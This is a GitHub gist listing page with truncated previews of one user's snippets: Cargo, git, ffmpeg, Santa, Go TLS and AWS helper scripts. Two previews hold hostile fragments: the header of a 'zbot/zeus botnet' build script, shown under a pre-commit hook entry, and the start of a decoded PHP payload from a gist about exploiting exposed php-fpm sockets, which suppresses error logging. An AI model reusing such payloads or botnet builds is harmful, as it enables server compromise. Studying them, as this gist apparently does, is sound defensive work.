Skip to content

Instantly share code, notes, and snippets.

@nl5887
nl5887 / cargo-update-dependency.py
Last active June 16, 2023 09:29
Update cargo.toml dependencies recursively
import os
import toml
import argparse
parser = argparse.ArgumentParser(description='Update cargo toml module path')
parser.add_argument('--module', metavar='m', type=str, required=True)
parser.add_argument('--work-dir', type=str, default='.')
parser.add_argument('--version', type=str)
parser.add_argument('--path', type=str)
@nl5887
nl5887 / gist:e6a082d3c5fa7ed97778b5247f34a07f
Last active June 30, 2021 11:29
pass git credentials using environment variables
git config --global credential."https://gitlab.com".helper '!f() { test "$1" = get && echo "username=${GIT_USER}"; echo "password=${GIT_PASS}"; }; f'
@nl5887
nl5887 / README.md
Last active May 19, 2021 13:33
Git pre commit hook

Copy the pre-commit file in .git/hooks/pre-commit and you'll never commit a non-working Go build again.

#!/bin/bash
# Thank you for using zbot/zeus botnet
# ZBOT: https://github.com/codingplanets/ZBOT-Botnet
# Usages: ./zbot-build zbot.c
#
#########################################
###############ARCH NAMES################
#########################################
L1='zbotmipsel' #mipsel
L2='zbotmips' #mips
@nl5887
nl5887 / convert.bash
Last active November 9, 2021 13:11
Quicktime to Animated gif using FFMPEG
#!/bin/bash
# convert to gif (improved palette) and 5 second still at the end
ffmpeg -i sans.mov -filter_complex "fps=25,setpts=PTS/5,split[v1][v2]; [v1]palettegen=stats_mode=full,tpad=stop_mode=clone:stop_duration=5 [palette];[v2][palette]paletteuse=dither=sierra2_4a" -loop 0 sans4.gif
#!/bin/bash
find "$@" -type f \( -perm -u=x -o -perm -g=x -o -perm -o=x \) -print0 | while read -d $'\0' file
do
OUTPUT=$(santactl fileinfo "$file")
if [[ $OUTPUT =~ (Code-signed[[:space:]]+:[[:space:]]Yes) ]]; then
echo -n "Whitelisting $file by certificate: "
santactl rule --whitelist --certificate --path "$file"
else
@nl5887
nl5887 / README.md
Last active December 20, 2020 17:09

It appeared that this was the Microsoft Sensor network.

@nl5887
nl5887 / base64-decoded-part.txt
Created June 1, 2020 19:23
Exploiting internet accessible php-fpm sockets
<?php if(function_exists('error_reporting')){@error_reporting(0);}if(function_exists('ini_set')){@ini_set('error_reporting',0);@ini_set('error_log',NULL);@ini_set('log_errors',0);}$___=(isset($_SERVER["SCRIPT_NAME"])?$_SERVER["SCRIPT_NAME"]:(isset($_SERVER["SCRIPT_NAME"])?$_SERVER["SCRIPT_FILENAME"]:NULL));if($___==="/usr/bin/phar.phar"){echo"<span style='display:none'>".md5('lohpidr')."</span>";exit(0);}
@nl5887
nl5887 / example.go
Last active April 30, 2020 07:46
LoadCertificates will load all certificates and keys in multiple directories (using glob matching) and match certificates with their private keys.
certificates, err := LoadCertificates("**.key", "**.crt")
if err != nil {
log.Fatal("Error loading x509 cert", rz.Err(err), rz.Any("cert-file", tlsCert))
}
tlsConfig := &tls.Config{
Certificates: certificates,
}
@nl5887
nl5887 / spotty.sh
Last active September 10, 2020 15:39
#!/usr/bin/env bash
AWS_CLI="aws --region $AWS_REGION"
PRICE=0.2
USER_NAME=#USERNAME#
KEY_NAME=#KEY NAME#
SECURITY_GROUP_ID=#SECURITY GROUP#
SUBNET_ID=#SUBNET#
VOLUME_SIZE=40
INSTANCE_TYPE=t2.2xlarge